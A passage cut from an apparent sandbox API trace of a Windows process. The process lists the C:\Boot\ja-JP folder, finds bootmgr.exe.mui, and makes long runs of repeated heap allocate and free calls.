Flags=0x0, Size=0x20) returned 0x3076f08 [0266.314] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.315] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.315] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.315] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.315] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.315] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.318] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, 